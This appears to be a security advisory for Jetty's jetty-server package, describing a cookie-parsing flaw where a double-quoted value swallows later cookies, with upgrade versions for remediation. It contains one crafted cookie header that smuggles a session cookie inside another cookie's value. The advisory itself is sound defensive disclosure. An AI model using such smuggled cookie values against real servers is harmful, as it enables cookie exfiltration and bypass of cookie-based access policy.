Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Information Exposure such that nonstandard cookie parsing may allow an attacker to smuggle cookies within other cookies, or otherwise perform unintended behavior by tampering with the cookie parsing mechanism. If Jetty sees a cookie VALUE that starts with " (double quote), it will continue to read the cookie string until it sees a closing quote -- even if a semicolon is encountered. Exploiting this vulnerability results in cookies exfiltration and policy based on cookies bypass.

Note: A cookie header such as: DISPLAY_LANGUAGE="b; JSESSIONID=1337; c=d" will be parsed as one cookie, with the name DISPLAY_LANGUAGE and a value of b; JSESSIONID=1337; c=d instead of 3 separate cookies.

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.4.51, 10.0.14, 11.0.14, 12.0.0.beta0 or higher.

References